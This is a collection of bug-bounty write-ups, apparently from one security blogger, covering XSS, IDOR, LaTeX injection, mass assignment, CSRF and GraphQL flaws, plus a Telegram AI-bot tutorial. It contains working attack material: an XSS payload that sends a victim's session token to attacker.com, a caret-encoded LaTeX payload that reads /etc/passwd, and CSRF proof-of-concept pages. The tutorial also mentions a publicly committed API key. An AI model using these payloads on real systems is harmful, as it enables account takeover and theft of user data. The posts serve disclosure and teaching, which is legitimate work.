Long time no chat! As we already know, bug bounty is a scam (just kidding 🙂). I recently started doing penetration testing for startups in my country. In this case, it was an online marketplace, where I discovered eight security vulnerabilities (you know, you can usually find many bugs in such applications, so nothing too crazy).

I followed an ethical testing process and privately reported findings to the team. In this post, I focus on one of them, a particularly cool and critical vulnerability one.

Stored XSS Leads to Admin Takeover, Compromising the Entire Application

The application allows users to post items for sale. When creating a new ad, users can add a description. which is later displayed inside a <p> tag without proper sanitization. I’m not sure why our developers love doing this — maybe it’s to support markdown or rich text — but please, don’t do this anymore. This design choice often leads to stored Cross-Site Scripting (XSS) vulnerabilities. In this case, it allowed me to inject JavaScript code that executed in the every one’s browser even admins, effectively giving me control over the admin account and the entire application.

So, I clicked on add a new ad and then intercepted the request with Burp Suite, As you can see the description parameter accepts value in <p> tag, here you should think, the app accepts HTML, so lets inject a JavaScript code as well, which what i did here.

I changed the description value <p> to an XSS payload like <img src=x onerror=alert(origin)>, which popped up an alert to show the existence of the vulnerability. I then noticed that the JavaScript code was triggered. Now it was time to escalate this XSS to something impactful.

Exploiting the XSS, and Takeover admin’s account

Here I observed the application’s HttpOnly cookie flag was set, so we could not steal victims’ cookies to hijack their accounts. However, I noticed the application sends an HTTP request to an API endpoint that generates a JWT used to authenticate further requests. What I needed was to send an HTTP request with the victim’s cookie and forward their JWT to my server.

Something like:

GET /api/auth/session HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0
Accept: application/json
Cookie: session_id=abc123xyz456; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Connection: close

in its response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 312
Cache-Control: no-store
Pragma: no-cache

{
  "user": {
    "id": 42,
    "email": "user@site.com",
  },
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjQyLCJlbWFpbCI6InVzZXJAc2l0ZS5jb20iLCJleHAiOjE3MDAwMDAwMDB9.Km4rX0_fake_signature",
  "token_type": "Bearer",
  "expires_in": 3600
}

As I said before, the cookie was HttpOnly, but it was also set to SameSite=Lax. As a result, we were able to send requests on behalf of any user with their cookies automatically included. Since an XSS vulnerability was present, we bypassed the same-origin policy and gained access to the response, allowing us to steal users’ JWT tokens.

We could do this with bellow payload:

<img src=x onerror='var data=\"\";(function(){const e=new XMLHttpRequest();e.open(\"GET\",\"https://site.com/api/auth/session\",true);e.withCredentials=true;e.onreadystatechange=function(){if(e.readyState===4&&e.status===200){data=e.responseText;new Image().src=\"https://attacker.com/?c=\"+btoa(data);}};e.send();})();'>

It was a minified version. I did this to avoid breaking the JSON format. Below, you can see the JavaScript code in an easy-to-read format. As you can see, it sends a request with cookies included and then sends the response to our server encoded in base64.

<img src=x onerror='
  var data = "";

  (function () {
    const e = new XMLHttpRequest();
    e.open("GET", "https://site.com/api/auth/session", true);
    e.withCredentials = true;

    e.onreadystatechange = function () {
      if (e.readyState === 4 && e.status === 200) {
        data = e.responseText;
        new Image().src =
          "https://attacker.com/?c=" + btoa(data);
      }
    };

    e.send();
  })();
'>

As you can see In the image below I injected my payload and sent the request. After a few seconds I got the admin’s token on my server — completely hacked the admin. It felt like a CTF on Hack The Box :)

I blurred the admin’s token in the above image to de-identify her . Then I base64‑decoded it and extracted the JWT token, and tried making requests. With admin privileges I could list all users, delete them, edit them, or basically do whatever the application allowed. With this, I compromised the entire application.

Here, Listing all registered users in the application.

I hope you liked it, because I really did. It felt a lot like solving a CTF challenge where a bot (acting as an admin) triggers your XSS. In this case, the admin was actively reviewing posts, so my payload executed directly in the admin’s browser.

Until the next one…

Be happy, Be nice !

It was a cool bug, so let’s skip the formalities and dive straight in.

So, the target was a social media application, pretty standard stuff. Users could upload profile pictures, cover photos, and post images. For obvious confidentiality reasons, I can’t mention its name.

While testing it, I had already come across a few IDOR vulnerabilities, things like deleting other users’ reviews or removing their “follows” just by swapping a UUID with someone else’s. (If you’re not familiar with IDOR, I’ve explained them in detail in a couple of my earlier blogs — go check those out.)

But when I tried to delete another user’s post this time, the app actually threw a 403 Forbidden error. So I thought, “Okay… maybe they finally fixed it.”

Still, something felt off. I opened my profile panel, changed my profile picture, and started watching the requests closely in my proxy. I noticed when I change my profile picture, two requests were sent which caught my eye:

• The first one uploaded the image to the server and returned an ID (probably a MongoDB ObjectID.)

• The second one was a WebSocket request that used that ID to set the image on my profile.

Here are the requests:

As you can see, the image is being uploaded to your profile using the storageId parameter in the WebSocket request.

So, I decided to change that to another user’s storageId.
But how could we obtain other users’ storage IDs?

It was actually easy — if we navigated to users’ public profiles, we could easily get their storageId.
I got one, and initiated the process again. After replacing my own storage ID with someone else’s, I got their profile picture (haha, funny, right? No?). You might say, “Okay, that’s not really a bug,” — and you’d be right…

But then, when I deleted my profile picture, I noticed something surprising — the victim’s profile picture was deleted as well! :)

I was like, Wait, what?!

Then I realized the same logic applied to the cover photo too. We could change to another user’s storage ID, and when we deleted our own cover photo, the victim’s cover photo would get deleted too.

What makes the vulnerability more severe is that I was able to delete a post’s image using this logic. I’d open the feed and, in the response, see post details ( likes, comments, and so on ) and there was a storageId that referenced the post image. I grabbed that storageId, set it as the image in my profile, then deleted it — and guess what? The post lost its image. hehe :))

Root Cause

I think the root cause is simple: when an image is uploaded, a field is created in the database that holds the storageId. If we replace that field in our profile with someone else’s storageId, both accounts end up pointing to the same file in the database. So when we delete “our” profile picture, the app deletes the file by storageId — but it never verifies that the storageId actually belongs to the account performing the delete. The result: the image is gone for everyone, and we can delete the victim’s profile picture and cover photo too.

Fix?: ( Not Yet )

I reported the bug and it was patched within a few hours, but the fix was loose. The patch only checked whether the image was a cover photo, so you couldn’t set a storageId as your cover photo. I thought “hmm, interesting,” and then bypassed it. I changed my cover photo and set the storageId of someone else’s profile picture; when I deleted my cover, the victim’s profile picture was deleted. I also tried the reverse: set my profile picture to another user’s cover storageId, then deleted my profile picture — the other user’s cover was removed.

Fix? ( Not Yet again )

Then the profile and cover photo features changed (their logic and request flow were completely redesigned). There was no second request anymore; everything was handled in a single request!

Butttt!!!

I discovered that users could still edit their posts (both captions and images). So, I created a post, clicked on “Edit,” deleted its image, and intercepted the request. You might think, “Did you change the storageId there?” — but no, man, it didn’t work. Here’s what that request looked like:

The bug is Second-Order IDOR, so everything had to work secondly. I played with the parameters — changed mustDelete to false, isNew to true, and replaced the storageId with someone else’s post image, profile picture, or cover photo storageId (yes, the flow was different, but they all still used storageId).

I noticed that I could edit my own post and add someone else’s profile picture to it. Now you’re right :) — I deleted my post and observed that the victim’s profile picture was deleted as well! The same worked for cover photos, post images, or basically any image uploaded elsewhere.

I hope you enjoyed my write-up! I think it was a pretty cool bug.
Have a good day!

Be Happy, Be Nice! ✌️

My X: x.com/ali_4fg

My LinkedIn: linkedin.com/in/ali-hussainzada

It’s been two months since I took a break from bug bounty hunting. During that time, I graduated from university 🎓, recharged, and now I’m officially back in the game. And guess what? Within just a few days of returning, I landed a critical find, a Remote Code Execution (RCE) vulnerability.

So, let’s start with the story. I was going through my private list of programs on HackerOne, and one caught my attention. it was a big program with several *.domains.com assets. I decided to dig into that one.

First things first, I ran subfinder to enumerate all the subdomains. While that was running in the background, I switched to some Google dorking, using queries like site:*.site.com to find subdomains.

As I checked through them one by one, I noticed one of the subdomains was running LaTeX. That immediately piqued my curiosity. For those unfamiliar, LaTeX (pronounced “Lay-tech”) is a document preparation system widely used for creating professional-quality documents, especially those containing mathematical formulas, scientific notation, and complex layouts.

To be honest, I remembered watching a video from IppSec where he was pwning the Topology box on Hack The Box. In that video, he got a shell through a LaTeX instance. Most of what I did here came from what I learned in that video. When I saw the setup, it felt very similar to that box, so I knew I was on the right path.

While searching online, I came across this GitHub repo. I tried injecting a simple payload like
\input{/etc/passwd}, but the application threw an error. So, I went back to the IppSec video, where he talked about a clever bypass, using a unique alternative encoding with double carets (^^) to replace letters. I changed the payload to \in^^70ut{/etc/passwd} and, to my excitement, it worked! The app processed it without error, confirming that the bypass was effective.

As you can see, the original payload caused an error, but when I used the ^^70 bypass, it worked perfectly.

Then, I recorded a video proof-of-concept and submitted my report. Unfortunately, the report was later closed as an internal duplicate, and I did not receive any excerpt from the original report.

I’m continuing to follow up on the case — the triager has been very responsive and professional. I’ve also submitted a mediation request, so now it’s a waiting game to see whether this will result in a reward.

I hope you have learned something new, I am thankfull of ippsec vids, he is an amazing hacker, i suggest you following his YouTube channel.

Be happy, Be nice :)

Follow me on X, and LinkedIn

Resources:

Following links might be helpful:

1. https://0day.work/hacking-with-latex/

2. https://tex.stackexchange.com/questions/262625/security-latex-injection-hack

3. http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

Yo, I hope you’re all doing well!
I decided to write a new article once again. The journey of finding these vulnerabilities started when I came across a post about MizbanApp on LinkedIn — an application where you can discover restaurants, cafés, and more. It’s built by Afghan developers for Afghan people, so kudos to them for pushing Afghanistan further into the digital age.

First Vulnerability: Becoming Admin

As the title implies, I was able to gain admin access in the application compromising entire application. The vulnerability that made this possible is known as Mass Assignment. In this section, I’ll briefly explain what Mass Assignment is and then walk you through the process of discovering and exploiting it.

What is Mass Assignment?

Mass Assignment is a vulnerability that occurs when an application automatically assigns user-supplied input to internal objects or database fields without proper filtering or restrictions. This can allow an attacker to modify fields they shouldn’t have access to. for example, changing their own role to admin.

Discovery & Exploitation: Mass Assignment on MizbanApp

I started by creating an account and logging in. I quickly noticed that the application was still under development, and some features weren’t fully implemented yet. I began mapping the app and navigated to my profile, which simply displayed my information. However, when I intercepted the request, I observed an API call to:

GET /api/v1/user/profile HTTP/1.1
Host: site.com

As you can see from the request and response, this API endpoint loads your profile information. It returns all the details the application knows about you:

At this point, I thought to myself — if there’s a route to show my profile info, there should probably be a function (HTTP method) or route to update it as well. Classic hacker thinking :))

So, I tried changing the HTTP method to POST, PUT, and PATCH, and noticed something interesting. The PATCH request returned a different JSON response. To my surprise, it even leaked my hashed password and included a field called role: customer. Wow — that was a clear sign that something interesting was happening.

As you can probably guess, I added "role": "admin" to the request body to see if I could actually change my role. And guess what? Yes! Surprisingly, it worked — I was able to change my role to admin 😎🎉

After that, I wanted to prove that this actually worked. To confirm, I logged out and then logged back in to my account. As shown in the image below, I was now an admin, and the admin dashboard appeared.

From there, I had full control — I could add, edit, or delete restaurants, manage users, see their feedback, and basically do anything an admin can do. This clearly demonstrated the severity of the Mass Assignment vulnerability.

Root Cause of Mass Assignment

The root cause of this Mass Assignment vulnerability is insufficient input filtering and improper handling of user-supplied data. Essentially, the application blindly accepted fields from the request body and mapped them directly to database attributes — including sensitive fields like role.

For example, in a Node.js/Express app using Mongoose, an insecure implementation might look like this:

// Insecure code
app.patch('/api/v1/user/profile', async (req, res) => {
  const user = await User.findById(req.user.id);
  Object.assign(user, req.body); // blindly assigns all user input
  await user.save();
  res.json(user);
});

Here, any field sent in the request body, including role, will be updated in the database.

A safer approach would be to whitelist only allowed fields:

// Secure code
app.patch('/api/v1/user/profile', async (req, res) => {
  const user = await User.findById(req.user.id);
  const allowedFields = ['name', 'email']; // whitelist only safe fields
  allowedFields.forEach(field => {
    if (req.body[field] !== undefined) {
      user[field] = req.body[field];
    }
  });
  await user.save();
  res.json(user);
});

This ensures that sensitive fields like role cannot be modified by the user, preventing Mass Assignment exploits.

Second Vulnerability: IDOR Leading to Viewing Users’ Information

After discovering the first vulnerability, I shared it with my friend. He was curious and asked me how to reproduce the Mass Assignment (we’re both learning). During our chat, he mentioned that there might be an IDOR vulnerability in the app as well!

Before diving in, let’s first understand what IDOR is.

What is IDOR?

IDOR (Insecure Direct Object Reference) is a vulnerability that occurs when an application allows users to access objects or data they shouldn’t just by changing a parameter, like an ID in a URL or request. In simple terms, it’s like giving someone a key to a locker they don’t own — the app fails to check if they’re allowed to access it.

Discovery & Exploitation: IDOR on MizbanApp

My friend, Nadir, mentioned that the application is vulnerable to IDOR and that you could retrieve users’ information using their UUIDs via this API endpoint:

GET /api/v1/user/UUID HTTP/1.1
Host: site.com

In addition to the usual /api/v1/user/profile API endpoint. He thought it might not be exploitable because guessing users’ UUIDs would be extremely difficult — they’re long and random.

But here’s what I thought :), I had mapped the app and realized that users can post reviews on restaurants. By intercepting the responses, I noticed that users’ UUIDs were actually being leaked along with their reviews. This made the IDOR vulnerability exploitable after all!

So, I asked Nadir to post a review on a restaurant. As you can see in the intercepted response, his _ID was leaked along with his name and review.

By replacing this ID with our own UUID in the API request, I was able to retrieve Nadir’s full object data, which included his name, email, role, favorite restaurants, and all his reviews.

Fields like email, role, isVerified, favorite restaurants, and favorite dishes are sensitive and should never be exposed. Yet, in this case, we could access all of this information simply by changing or obtaining a user’s UUID. This clearly demonstrates the severity of the IDOR vulnerability in MizbanApp.

Root Cause of IDOR

The main reason IDOR occurs is improper access control. The application assumes that if someone knows an object’s ID (like a UUID), they’re allowed to access it, without actually verifying whether the user has permission. In other words, the server doesn’t check ownership or roles before returning sensitive data.

How to Secure Against IDOR

Verify Ownership / Access Rights
Always check that the authenticated user has permission to access the requested object. For example:

app.get('/api/v1/user/:uuid', async (req, res) => {
  const user = await User.findOne({ uuid: req.params.uuid });

  // Ensure the logged-in user is requesting their own data
  if (user.id !== req.user.id) {
    return res.status(403).json({ error: 'Access denied' });
  }

  res.json(user);
});

Final Words

I hope this article gave you some insight into how Mass Assignment and IDOR vulnerabilities work in real-world applications. All of these issues were responsibly reported to the MizbanApp team, who responded professionally and promptly patched the vulnerabilities.

Security is a shared responsibility — even small mistakes can have big consequences, but with awareness and proper practices, we can make applications safer.
Be happy,
Be nice,

References

OWASP cheatsheet for Mass Assignment

What is Mass Assignment

OWASP IDOR

Wait... I probably shouldn’t say that — this isn’t my first blog post. Never mind.
How are you doing, mates? How’s life going?

Let’s get started.

In this article, I want to talk about the CSRF vulnerability, and based on my own findings, I can confidently say it’s still alive, even in modern web applications. I’ll walk you through how to discover CSRF in apps that use application/json as their content type, and I’ll also share a trick that makes exploitation much easier.

Specifically, in this article I’ll walk you through:

• A simple GET request-based CSRF

• A CSRF that works when we change the Content-Type from JSON to URL-encoded

• A CSRF that accepts JSON body parameters, while the content-type is text/plain

To begin, let’s define what CSRF actually is.

According to PortSwigger:

“Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same-origin policy, which is designed to prevent different websites from interfering with each other.”

To put it simply, CSRF (Cross-Site Request Forgery) happens when you visit site A (an attacker-controlled site), and an action is unknowingly triggered on site B (a legitimate website where you're authenticated).

1. Classic CSRF with GET Request

The application was built with Laravel, so it was a modern web application. I started testing all features and functionalities. I noticed that every state-changing action was sent using a POST request.

As you may know, Laravel has built-in protection against CSRF (Cross-Site Request Forgery) attacks through CSRF tokens. It applies CSRF protection using the VerifyCsrfToken middleware:

\App\Http\Middleware\VerifyCsrfToken::class

This middleware is applied to all POST, PUT, PATCH, and DELETE requests. If a request is missing a valid CSRF token, Laravel will reject it with a 419 Page Expired error.

And yes — you read that right — there’s no GET request in the list above. What I mean is that if you can find a state-changing action using the GET method, the app is vulnerable to CSRF.

In my case, the refund action was using GET, so I made a proof of concept (PoC), reproduced the vulnerability, and it worked successfully.

So, I wrote a report with the PoC code and a video recording. It was triaged and accepted.

The POC Code:

<html>
  <body>
    <form action="https://test.com/xxxx/refund">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

2. Bypassing CSRF by Changing Content-Type

How many times have you encountered an application that was prone to CSRF? For example, it relied on cookies, had no CSRF token, and you skipped testing just because the Content-Type was set to application/json?

I’ve faced this a lot!

But what I’ve learned is this: test every request for CSRF, regardless of the Content-Type. Sometimes, CSRF protection is only enforced for application/json, and if you change it to text/plain or another type, the protection might not apply at all.

To demonstrate, let me show you one of my own findings in the wild:

The request originally used Content-Type: application/json and included a CSRF token in the headers (as shown in the image below).

Then I removed the CSRF token from the headers — and surprisingly, the request still worked. It responded with 202 Accepted.

That got me thinking, maybe we could do something with this, right?

Next, I changed the Content-Type to application/x-www-form-urlencoded, and once again, the request worked and the action took place.

So now, as you can see, the request works without any CSRF token in the header or the body. That clearly shows there's no proper protection in place.

Let’s go ahead and build a Proof of Concept (PoC) to demonstrate the impact.

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\test.com\/api\/\/support-email", true);
        xhr.setRequestHeader("accept", "application\/json, text\/plain, *\/*");
        xhr.setRequestHeader("accept-language", "en-US,en;q=0.5");
        xhr.setRequestHeader("content-type", "application\/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "support_email=ali@ali.com";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Hosting this on my VPS and sending it to victims resulted in a 401 Unauthorized response. However, the cookies were being sent, and there was nothing that should have prevented the attack — yet it still didn’t work.

I tried replacing the cookies in the request with those from a previous legitimate request, and that worked. The exact same request succeeded. But when using the cookies automatically included in the request initiated from the attacker’s site, it failed. Believe me, the origin and referer headers were not being checked — it just wasn’t working for some other odd reason. In my case, it failed for reasons I couldn’t figure out, but this same technique might work for you.

This was really odd to me. I asked several friends, and no one had a clear answer.

So, if anyone can figure out what’s causing this behavior, feel free to reach out to me on X or LinkedIn. Let’s exploit this issue properly and submit a report.

3. JSON-based CSRF with text/plain Content-Type

Sometimes, a request with application/json content type can still be accepted if you change the content type to text/plain or application/x-www-form-urlencoded and the server will still process the JSON body correctly. There is no need to change the body format like in the previous case. I encountered this behavior in a real web application, and I also solved a similar challenge on PentesterLab.

Below is an example from a real-world application where the request works with text/plain content-type and a JSON body. The key is that the application isn’t strict about the JSON format. What I mean is that, you should be able to add new parameters in the request and the server accepts it.

but if you create a poc code like bellow and send it:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://test.com/rpc/" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&#32;&#32;&#32;&quot;method&quot;&#58;&#32;&quot;GET&quot;&#44;&#13;&#10;&#32;&#32;&#32;&#32;&quot;params&quot;&#58;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&quot;SecretKey&quot;&#58;&#32;&quot;29a83da5fe8c80cfb&quot;&#44;&#13;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&quot;Path&quot;&#58;&#32;&quot;&#47;package&#47;6833386&quot;&#13;&#10;&#32;&#32;&#32;&#32;&#125;&#13;&#10;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

You’ll notice that the = sign breaks the request. Here’s a tip to make creating a PoC much easier using Burp Suite’s CSRF PoC generator: just add a random parameter with the value =. In this case, the PoC generator will handle it correctly, escaping the = sign properly. This little trick saved me a lot of time since I didn’t want to manually create, modify, and handle the PoC code.

So, make the request as bellow.

Remember when I said, “The key is that the application isn’t strict about the JSON format”? What I meant is that additional random parameters like aa are accepted by the server without causing the request to fail.

Key Takeaways:

• If a state-changing action uses the GET method, it is vulnerable to CSRF.

• A CSRF token in place might only protect requests with application/json content-type.

• Changing the content-type of state-changing requests can bypass CSRF protection.

• You can send requests with a simple content-type but keep the JSON body intact to exploit the vulnerability.

I hope you learned something new! If you have any questions, feel free to ask in the comments or DM me on X. I will definitely respond.

Follow me on X for more updates!

Be happy, Be nice.

In February, I started learning GraphQL API security using the book Black Hat GraphQL as a reference, along with PortSwigger labs. While studying, I picked a private bug bounty program on HackerOne. To my surprise, its entire infrastructure was built on GraphQL—a perfect target to put my learning into practice!

So, let's get into the two bugs I discovered!

First One, IDOR (My favvv)

The first thing you can do while testing a GraphQL API application is check whether introspection is enabled or not.

A quick note about GraphQL introspection from PortSwigger:

“Introspection is a built-in GraphQL function that enables you to query a server for information about the schema. It is commonly used by applications such as GraphQL IDEs and documentation generation tools.”

Having introspection enabled allows us to make all requests and test further for bugs!

I used InQL, a well-known Burp Suite extension, to check for it. As you can see, I got an error :(, meaning that introspection was disabled by the developer. So, I decided to find queries and mutations from JavaScript files instead. It was time-consuming to find and construct requests, but what else could we do? :)

It turns out, we could do something! While reading PortSwigger's page about GraphQL, I noticed that developers often disable the __schema keyword in queries.

However, if the developer has only excluded __schema, then the introspection query below would not be blocked, allowing us to access the schema!

For Queries:

{
  __type(name: "Query") {
    fields {
      name
      args {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

For Mutations:

{
  __type(name: "Mutation") {
    fields {
      name
      args {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

By doing this, I was able to find all mutations, queries, and fields. Now, it was time to construct them all together, one by one. I used AI (ChatGPT) to automate this process, and it was amazing!

Then, I found the mutation below, which takes an ID as its argument. The value was numeric, making it a great candidate for testing IDOR 🙂.

I tried 1, 2, 3, but all returned 404. I initially thought it wasn’t vulnerable, but thankfully, I decided to fuzz a bit. Finally, I found that 1105 responded! and 1110, 1120, and so on…

As Stripe's documentation mentions, the client_secret is used to complete a payment from the frontend. It should not be stored, logged, or exposed to anyone other than the customer.

If leaked, an attacker could use the client_secret to confirm payments on behalf of victims, leading to unauthorized transactions and financial fraud. Ref

I initially submitted the report with this impact description, but I now realize it may not have fully explained the severity. The report was marked as Medium by the H1 analyst. However, I believe it should have been considered HIGH. Unfortunately, it was rated Medium, and I received $500.

Second, Non-JSON CSRF

Yes, you read it right! Sometimes, the server fails to validate the request content type and accepts non-JSON queries and mutations, which is the opposite of GraphQL’s expected behavior (accepting only application/json content-type). When this happens, and there is no CSRF token, an attacker can forge requests and trick users into performing authenticated state-changing actions on behalf of victims. In my case, I was able to add admin, change users email, in a simple word, i could do any update/edit action.

I used GraphQL-Cop, an open-source tool for testing various security vulnerabilities in GraphQL APIs. As shown in the image below, the tool confirms that requests can be sent using non-JSON queries, meaning the server accepts requests with the application/x-www-form-urlencoded content type.

Now, it's time to forge the request. Here's how I do it:

I change the Content-Type and remove the request body. Then, I add a query parameter. This makes Burp Suite recognize the request as GraphQL, adding a new GraphQL tab in the Repeater. By clicking on this tab, you can reinsert the query or mutation that you removed from the body.

The images below demonstrate how it looks in action.

The image above shows how it looks. From here, the rest is straightforward. just like a normal CSRF attack, where you craft a PoC (Proof of Concept) to exploit the vulnerability.

To be honest, I used Burp Suite's PoC generator to simplify the process. I created three different PoCs and recorded a video demonstrating a sensitive action being performed without user consent. After a long wait, my report was finally triaged with a HIGH severity rating. Then, two weeks later, I received a $2,000 bounty as a reward! 🚀

Last Words

For me, bug bounty is all about the fun of learning something new and applying it in the real world. My experience with GraphQL was no different. This month (March), I started diving into Android hacking, and guess what? The company’s Android application is also in scope, so let’s give it a shot and see what comes out of it!

I hope you enjoyed reading this post and learned something along the way. If you'd like to follow me, feel free to connect with me on X (Twitter) and LinkedIn.

Be Happy, Be Nice:)

I am back with a new and different topic, as you may noticed that it is more programming-ish article. I added the “Programming“ section on the blog, therefor we will have these kind of articles as well. Hope you enjoy :)

In this article, I'll teach you how to build a Telegram chatbot integrated with AI that you can chat, ask and paly with! So, let’s get started!

How to Get Your Bot Token

In order to create your bot, you need to ask BotFather - No, he is not a person. Its a also a bot.

1. Search for @botfather in Telegram.

   

   BotFather Telegram bot

2. Start a conversation with BotFather by clicking on the Start button. Then, Type /newbot, and follow the prompts to set up a new bot. The BotFather will give you a token that you will use to authenticate your bot and grant it access to the Telegram API.

   

   Your bot is created, please keep your token secret.

How to setup Coding Environment?

While there are various libraries to create a Telegram bot, we are going to use pyTelegramBotAPI library. it is simple and extensible for the Telegram Bot API with both synchronous and asynchronous capabilities.

Install library by using pip:

pip install pyTelegramBotAPI

Next, open your favorite code editor. In my case I use Vs Code. Create a file like bot.py, and paste the following code.

import telebot 
bot = telebot.TeleBot('BOT TOKEN')

In the above code, replace you own telegram token between quotes. we use the TeleBot class to create a bot instance and passed the BOT TOKEN to it.

Let's define a message handler that handles incoming /start commands.

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message, "umm lets start to have fun :)")

What the above code does, is just replying to users when the start button is sent. Its all but now lets integrate it with AI, add a new handler.

Integration with an AI API endpoint

For integration I use Groq API, so what is Groq? you may ask. here as ChatGPT says, “Groq API is a high-performance, AI-driven inference API designed to provide fast and efficient processing for machine learning workloads. It is powered by Groq hardware, which is known for its unique architecture that optimizes for low latency and high throughput in AI tasks.

By leveraging Groq API, developers can integrate advanced AI capabilities such as natural language processing (NLP), computer vision, and other machine learning tasks into their applications, enabling quick and scalable solutions. This makes it an ideal choice for creating responsive and powerful AI-driven tools, like your Telegram chat bot.“

How to get access to the API

Create an account by navigating to https://console.groq.com. Next, go to your API Keys, and create one.

Keep your API key secure and confidential. Once you've obtained it, you can use the following API endpoint to send your custom messages. In this integration, user input is passed to the content field of the API, and the response is then delivered back to the user on Telegram.

@bot.message_handler(content_types=['text'])
def handle_text_messages(message):
    client = Groq(api_key="YOUR TOKEN GOES HERE")
    chat_completion = client.chat.completions.create(
        messages=[
            {
                "role": "user",
                "content": f"{message.text}",


            }
        ],
        model="llama3-8b-8192",
    )
    finalmsg =  chat_completion.choices[0].message.content
    bot.reply_to(message, f"{finalmsg}")

Add the following to the end of your file to launch the bot:

bot.infinity_polling()

Thats it, Our bot is just created. Now, run the python code and go to telegram. Start the bot, you will get “umm lets start to have fun :)“ message as we defined.

For more information on using the pyTelegramBotAPI library, you can refer to their documentation. and For Using another model you can read more info from documentation of Groq

I have git commited all its code to my Github repo. So, you can use my API key and bot by just running the code.

Thanks for reading. Hope you like it, till next one Bye.

references:

1. FreeCodeCamp

2. Groq documentation

Hi, its me again.

In this write-up I will talk about my four bugs (one critical and three of medium severity) I discovered on a single web application two month ago. All vulnerabilities are API related, So I hope you like it.

I will try my best to write in a way that if you are not a tech guy, would grasp something:) but if you know basic just ignore TLD (Too Long; Didn't Read) part. OK, without wasting you time lets jump right in.

Bugs,

First, the Critical one!

IDOR leads to view all users’ bank details

I really dont know how and where should I start. Lets start from the very beginning, I was invited in a private program on HackerOne. The Scope of program was just two main applications. So, I picked one and started creating an account. After exploring it for two or three days, checking all functionalities I thought it is safe.

But, I found the first bug! the critical one! The functionality of application enables users to connect their bank accounts. When they navigate to their Dashboard an API call was hit to show the details of their bank details.

The API endpoint was like:

GET /api/payment-method/
HOST: domain.company
Authorization: Bearer faketoken1234567890
Content-Type: application/json

The response was in JSON format, actually it was empty for me. because I did not connect my bank account. We have a popular quote which says, “Test IDOR in requests which return sensitive data!“. If you have not heard it, So keep it in your mind and repeat it while hunting :))

So, lets talk what is IDOR? TLD (Too Long; Didn't Read)

IDOR (Insecure Direct Object Reference) is a security flaw where attackers can access data or perform actions they shouldn’t be allowed to, simply by changing a part of the URL or request. For example, if a website uses a URL like:

https://example.com/user/123

where "123" is your user ID, an attacker might change "123" to another number (like "124") and get access to someone else's data.

It’s like walking into a building with open doors, where each door is labeled with a number, and you can open any door just by knowing its number, even if it’s not your room. This is dangerous because it exposes sensitive information that should be protected.

What now? Our API endpoint does not have numeric value? Does it? NO, but we add a random value at the end of API endpoint it will become:

GET /api/payment-method/1 # this 1 is a random number
HOST: domain.company
Authorization: Bearer faketoken1234567890
Content-Type: application/json

After sending the request, the response was 404 Not Found :( no way, it is not vulnerable you may think. But no bro, In the "Hacking APIs: Breaking Web Application Programming Interfaces" book by Corey J. Ball, we read that “familiarize yourself with the API's structure and patterns.“ Therefor, when I saw all endpoints I noticed that, every endpoint has a / at the end. I mean all endpoints were like:

GET /api/payment-method/
GET /api/change-name/
GET /api/dashboard/

So, I told myself Lets add a simple / at the end and send the request and guess what? The response was all bank information of user 1 in the database! NO WAY! by changing the number from 1 to 8k we were able to view all users’ bank details.

HERE is the Screenshot of real request:

After finding this, I wrote a detailed report and sent it to the program. After about 20 minutes I got a replay saying, “We are working for the fix!”

After 40 mins the severity was changed to HIGH, but then it was changed to CRITICAL. Asking me if the 192.168.1.1 IP (this is obviously not mine) belongs to me or not? I confirmed that the IP belongs to me by showing a screenshot. After 10 minutes I was awarded 3000 dollars:) All process took lesser than an hour.

I got confidence and told myself to dig a bit deeper and not change the program because I have a bad habit. After working a week, i change the program which i will urge you and myself to not do it anymore.

Second, IDOR leads to view users address

After finding the first bug, I became even more motivated to uncover additional issues. As the saying goes, 'Programmers often make the same mistakes,' and that proved true here. I found another IDOR vulnerability with similar logic on a different endpoint. Although the value wasn’t numeric, it was still a short, random value that I managed to find it. So, lets moved on to the third bug.

Third, Hidden API endpoint enables attacker to update bank provider, name, phone number

I found the endpoint within JS files, normally I do not look for endpoints in JS files. I just crawl all functionalities of application while Burp Suite is on in the background and then trough GAP (which is a Burp Suite extension) I find all endpoints, parameters and word.

So, I found some endpoints and tried to fuzz all of them trough intruder. One of them was /api/user/info/ endpoint. A note I should add is, I fuzz with all methods e.g. GET, POST, PATCH, PUT and so on.

while fuzzing I got 200 OK for that endpoint with GET request method. the response of my request was my name, phone number, bank provider and some objects. So, i was thinking if I can see the response, I might be able to change them as well. Because there was no functionality to change your details. So, I changed the request method to PATCH and copied all response’s data from previous response and paste it to the request,

When I hit send, I got a 200 OK, indicating the change was successful. To confirm, I updated my name, checked the UI, and found that my name was indeed updated. I was also able to modify my phone number and bank provider with similar success.

At first, I didn’t report this vulnerability, thinking it might not be accepted. But a week later, I decided to submit it, and they awarded me $500 for the finding!"

Forth, Mass assignment leads to Bypass phone verification, updating it and updating Name, Address

